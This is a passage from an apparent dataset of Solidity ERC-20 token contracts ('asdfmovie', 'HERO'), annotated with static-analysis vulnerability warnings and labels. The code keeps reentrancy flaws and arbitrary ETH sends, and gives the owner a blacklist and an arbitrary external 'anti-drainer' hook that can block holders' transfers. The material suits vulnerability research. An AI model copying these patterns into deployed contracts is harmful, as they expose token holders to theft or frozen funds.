isChanged;\n address value;\n}\n\nstruct TaxChange {\n bool isChanged;\n uint256 value;\n}\n\ncontract asdfmovie is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d7efeff): asdfmovie.uniswapV2Router should be immutable \n\t// Recommendation for d7efeff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e40790b): asdfmovie.uniswapV2Pair should be immutable \n\t// Recommendation for e40790b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n address public antiDrainer;\n\n bool private swapping;\n\n address public marketingWallet;\n\n address public developmentWallet;\n\n uint256 public maxTransaction;\n\n uint256 public swapTokensAtAmount;\n\n uint256 public maxWallet;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = false;\n\n bool public swapEnabled = false;\n\n uint256 public buyTotalFees;\n\n uint256 public buyMarketingFee;\n\n uint256 public buyDevFee;\n\n uint256 public sellTotalFees;\n\n uint256 public sellMarketingFee;\n\n uint256 public sellDevFee;\n\n uint256 public tokensForMarketing;\n\n uint256 public tokensForDev;\n\n mapping(address => bool) private _isBlackList;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedmaxTransaction;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event marketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event developmentWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fb92c16): asdfmovie.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for fb92c16: Rename the local variables that shadow another component.\n constructor() ERC20(\"asdfmovie\", \"asdf\") {\n if (block.chainid == 1 || block.chainid == 5)\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n else if (block.chainid == 11155111)\n uniswapV2Router = IUniswapV2Router02(\n 0xC532a74256D3Db42D0Bf7a0400fEFDbad7694008\n );\n else if (block.chainid == 8453)\n uniswapV2Router = IUniswapV2Router02(\n 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n excludeFromMaxTransaction(address(uniswapV2Router), true);\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _buyMarketingFee = 0;\n\n uint256 _buyDevFee = 0;\n\n uint256 _sellMarketingFee = 0;\n\n uint256 _sellDevFee = 0;\n\n uint256 totalSupply = 1000000000 * (10 ** decimals());\n\n uint256 _teamFee = 5;\n\n address _teamWallet = address(\n 0x9E5233B968852e1C5DaBee821f6D79EA9779da24\n );\n\n maxTransaction = 1000000000 * (10 ** decimals());\n\n maxWallet = 1000000000 * (10 ** decimals());\n\n swapTokensAtAmount = 1000000000 * (10 ** decimals());\n\n buyMarketingFee = _buyMarketingFee;\n\n buyDevFee = _buyDevFee;\n\n buyTotalFees = buyMarketingFee + buyDevFee;\n\n sellMarketingFee = _sellMarketingFee;\n\n sellDevFee = _sellDevFee;\n\n sellTotalFees = sellMarketingFee + sellDevFee;\n\n marketingWallet = address(address(0));\n\n developmentWallet = address(address(0));\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, (totalSupply * (1000 - _teamFee)) / 1000);\n\n _mint(_teamWallet, (totalSupply * _teamFee) / 1000);\n }\n\n receive() external payable {}\n\n function setAntiDrainer(address _antiDrainer) external onlyOwner {\n require(_antiDrainer != address(0x0), \"Invalid anti drainer\");\n\n antiDrainer = _antiDrainer;\n }\n\n function enableTrading() external onlyOwner {\n tradingActive = true;\n\n swapEnabled = true;\n }\n\n function enableTradingWithPermit(uint8 v, bytes32 r, bytes32 s) external {\n bytes32 domainHash = keccak256(\n abi.encode(\n keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n ),\n keccak256(bytes(\"Trading Token\")),\n keccak256(bytes(\"1\")),\n block.chainid,\n address(this)\n )\n );\n\n bytes32 structHash = keccak256(\n abi.encode(\n keccak256(\"Permit(string content,uint256 nonce)\"),\n keccak256(bytes(\"Enable Trading\")),\n uint256(0)\n )\n );\n\n bytes32 digest = keccak256(\n abi.encodePacked(\"\\x19\\x01\", domainHash, structHash)\n );\n\n address sender = ecrecover(digest, v, r, s);\n\n require(sender == owner(), \"Invalid signature\");\n\n tradingActive = true;\n\n swapEnabled = true;\n }\n\n function setBlackList(\n address[] calldata wallets,\n bool blocked\n ) external onlyOwner {\n for (uint256 i = 0; i < wallets.length; i++) {\n _isBlackList[wallets[i]] = blocked;\n }\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3b695a0): asdfmovie.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 3b695a0: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\n\t\t// events-maths | ID: 3b695a0\n swapTokensAtAmount = newAmount;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0e91859): asdfmovie.updateMaxTxnAmount(uint256) should emit an event for maxTransaction = newNum * (10 ** decimals()) \n\t// Recommendation for 0e91859: Emit an event for critical parameter changes.\n function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / (10 ** decimals()),\n \"Cannot set maxTransaction lower than 0.1%\"\n );\n\n\t\t// events-maths | ID: 0e91859\n maxTransaction = newNum * (10 ** decimals());\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5b87b86): asdfmovie.updateMaxWalletAmount(uint256) should emit an event for maxWallet = newNum * (10 ** decimals()) \n\t// Recommendation for 5b87b86: Emit an event for critical parameter changes.\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / (10 ** decimals()),\n \"Cannot set maxWallet lower than 0.5%\"\n );\n\n\t\t// events-maths | ID: 5b87b86\n maxWallet = newNum * (10 ** decimals());\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedmaxTransaction[updAds] = isEx;\n }\n\n function updateSwapEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 18d8d1f): asdfmovie.updateBuyFees(uint256,uint256) should emit an event for buyMarketingFee = _marketingFee buyDevFee = _devFee buyTotalFees = buyMarketingFee + buyDevFee \n\t// Recommendation for 18d8d1f: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 _marketingFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 18d8d1f\n buyMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 18d8d1f\n buyDevFee = _devFee;\n\n\t\t// events-maths | ID: 18d8d1f\n buyTotalFees = buyMarketingFee + buyDevFee;\n\n require(buyTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 582d094): asdfmovie.updateSellFees(uint256,uint256) should emit an event for sellMarketingFee = _marketingFee sellDevFee = _devFee sellTotalFees = sellMarketingFee + sellDevFee \n\t// Recommendation for 582d094: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 _marketingFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 582d094\n sellMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 582d094\n sellDevFee = _devFee;\n\n\t\t// events-maths | ID: 582d094\n sellTotalFees = sellMarketingFee + sellDevFee;\n\n require(sellTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3113dca): Missing events for critical arithmetic parameters.\n\t// Recommendation for 3113dca: Emit an event for critical parameter changes.\n function updateTaxConfig(\n TaxAddressChange memory _newMarketingWallet,\n TaxChange memory _newBuyMarketingFee,\n TaxChange memory _newSellMarketingFee,\n TaxAddressChange memory _newDevelopmentWallet,\n TaxChange memory _newBuyDevFee,\n TaxChange memory _newSellDevFee\n ) external onlyOwner {\n if (_newMarketingWallet.isChanged)\n marketingWallet = _newMarketingWallet.value;\n\n if (_newBuyMarketingFee.isChanged)\n\t\t\t// events-maths | ID: 3113dca\n buyMarketingFee = _newBuyMarketingFee.value;\n\n if (_newSellMarketingFee.isChanged)\n\t\t\t// events-maths | ID: 3113dca\n sellMarketingFee = _newSellMarketingFee.value;\n\n if (_newDevelopmentWallet.isChanged)\n developmentWallet = _newDevelopmentWallet.value;\n\n\t\t// events-maths | ID: 3113dca\n if (_newBuyDevFee.isChanged) buyDevFee = _newBuyDevFee.value;\n\n\t\t// events-maths | ID: 3113dca\n if (_newSellDevFee.isChanged) sellDevFee = _newSellDevFee.value;\n\n\t\t// events-maths | ID: 3113dca\n buyTotalFees = buyMarketingFee + buyDevFee;\n\n\t\t// events-maths | ID: 3113dca\n sellTotalFees = sellMarketingFee + sellDevFee;\n\n require(buyTotalFees <= 25, \"Must keep fees at 25% or less\");\n\n require(sellTotalFees <= 25, \"Must keep fees at 25% or less\");\n\n if (marketingWallet == address(0))\n require(\n buyMarketingFee == 0 && sellMarketingFee == 0,\n \"buyMarketingFee, sellMarketingFee must be zero\"\n );\n\n if (developmentWallet == address(0))\n require(\n buyDevFee == 0 && sellDevFee == 0,\n \"buyDevFee, sellDevFee must be zero\"\n );\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 05a40cd): asdfmovie.updateMarketingWallet(address).newMarketingWallet lacks a zerocheck on \t marketingWallet = newMarketingWallet\n\t// Recommendation for 05a40cd: Check that the address is not zero.\n function updateMarketingWallet(\n address newMarketingWallet\n ) external onlyOwner {\n emit marketingWalletUpdated(newMarketingWallet, marketingWallet);\n\n\t\t// missing-zero-check | ID: 05a40cd\n marketingWallet = newMarketingWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d813c17): asdfmovie.updatedevelopmentWallet(address).newWallet lacks a zerocheck on \t developmentWallet = newWallet\n\t// Recommendation for d813c17: Check that the address is not zero.\n function updatedevelopmentWallet(address newWallet) external onlyOwner {\n emit developmentWalletUpdated(newWallet, developmentWallet);\n\n\t\t// missing-zero-check | ID: d813c17\n developmentWallet = newWallet;\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8e52264): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8e52264: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5cd0e66): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5cd0e66: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 0e0ed23): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 0e0ed23: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d3ce371): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for d3ce371: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 56c313d): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 56c313d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0af5733): asdfmovie._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(sellTotalFees).div(100) tokensForDev += (fees * sellDevFee) / sellTotalFees\n\t// Recommendation for 0af5733: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8015de8): asdfmovie._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for 8015de8: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 05ef735): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 05ef735: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(!_isBlackList[from], \"[from] black list\");\n\n require(!_isBlackList[to], \"[to] black list\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedmaxTransaction[to]\n ) {\n require(\n amount <= maxTransaction,\n \"Buy transfer amount exceeds the maxTransaction.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedmaxTransaction[from]\n ) {\n require(\n amount <= maxTransaction,\n \"Sell transfer amount exceeds the maxTransaction.\"\n );\n } else if (!_isExcludedmaxTransaction[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n if (\n antiDrainer != address(0) &&\n IAntiDrainer(antiDrainer).isEnabled(address(this))\n ) {\n\t\t\t// reentrancy-events | ID: 8e52264\n\t\t\t// reentrancy-benign | ID: 5cd0e66\n\t\t\t// reentrancy-no-eth | ID: 0e0ed23\n\t\t\t// reentrancy-eth | ID: 05ef735\n bool check = IAntiDrainer(antiDrainer).check(\n from,\n to,\n address(uniswapV2Pair),\n maxWallet,\n maxTransaction,\n swapTokensAtAmount\n );\n\n require(check, \"Anti Drainer Enabled\");\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n automatedMarketMakerPairs[to] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n\t\t\t// reentrancy-no-eth | ID: 0e0ed23\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 8e52264\n\t\t\t// reentrancy-benign | ID: 5cd0e66\n\t\t\t// reentrancy-eth | ID: 05ef735\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 05ef735\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: d3ce371\n\t\t\t\t// divide-before-multiply | ID: 0af5733\n fees = amount.mul(sellTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 0af5733\n\t\t\t\t// reentrancy-eth | ID: 05ef735\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: d3ce371\n\t\t\t\t// reentrancy-eth | ID: 05ef735\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 56c313d\n\t\t\t\t// divide-before-multiply | ID: 8015de8\n fees = amount.mul(buyTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 8015de8\n\t\t\t\t// reentrancy-eth | ID: 05ef735\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 56c313d\n\t\t\t\t// reentrancy-eth | ID: 05ef735\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 8e52264\n\t\t\t\t// reentrancy-eth | ID: 05ef735\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 8e52264\n\t\t// reentrancy-eth | ID: 05ef735\n super._transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8e52264\n\t\t// reentrancy-benign | ID: 5cd0e66\n\t\t// reentrancy-no-eth | ID: 95d98b4\n\t\t// reentrancy-eth | ID: 05ef735\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 95d98b4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 95d98b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: dc575d1): asdfmovie.swapBack() sends eth to arbitrary user Dangerous calls (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for dc575d1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: f7e49be): asdfmovie.swapBack().success is written in both (success,None) = address(developmentWallet).call{value ethForDev}() (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for f7e49be: Fix or remove the writes.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForMarketing + tokensForDev;\n\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-no-eth | ID: 95d98b4\n swapTokensForEth(contractBalance);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);\n\n\t\t// reentrancy-no-eth | ID: 95d98b4\n tokensForMarketing = 0;\n\n\t\t// reentrancy-no-eth | ID: 95d98b4\n tokensForDev = 0;\n\n\t\t// reentrancy-events | ID: 8e52264\n\t\t// reentrancy-benign | ID: 5cd0e66\n\t\t// write-after-write | ID: f7e49be\n\t\t// reentrancy-eth | ID: 05ef735\n (success, ) = address(developmentWallet).call{value: ethForDev}(\"\");\n\n\t\t// reentrancy-events | ID: 8e52264\n\t\t// reentrancy-benign | ID: 5cd0e66\n\t\t// write-after-write | ID: f7e49be\n\t\t// reentrancy-eth | ID: 05ef735\n\t\t// arbitrary-send-eth | ID: dc575d1\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n}\n",
"file_name": "solidity_code_10744.sol",
"size_bytes": 40213,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract HERO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: be4ca24): HERO._taxWallet should be immutable \n\t// Recommendation for be4ca24: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5915d5): HERO._initialBuyTax should be constant \n\t// Recommendation for e5915d5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: e40dd68): HERO._initialSellTax should be constant \n\t// Recommendation for e40dd68: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 12;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 71ecdbe): HERO._reduceBuyTaxAt should be constant \n\t// Recommendation for 71ecdbe: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: c59ece7): HERO._reduceSellTaxAt should be constant \n\t// Recommendation for c59ece7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3379dbd): HERO._preventSwapBefore should be constant \n\t// Recommendation for 3379dbd: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 4700000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Real American Hero\";\n\n string private constant _symbol = unicode\"HERO\";\n\n uint256 public _maxTxAmount = 940000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 940000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ff1e38): HERO._taxSwapThreshold should be constant \n\t// Recommendation for 9ff1e38: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 47000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5a58819): HERO._maxTaxSwap should be constant \n\t// Recommendation for 5a58819: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 47000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d78a0e9): HERO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d78a0e9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 35b8e38): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 35b8e38: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e873537): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e873537: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 35b8e38\n\t\t// reentrancy-benign | ID: e873537\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 35b8e38\n\t\t// reentrancy-benign | ID: e873537\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 21e0e00): HERO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 21e0e00: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != 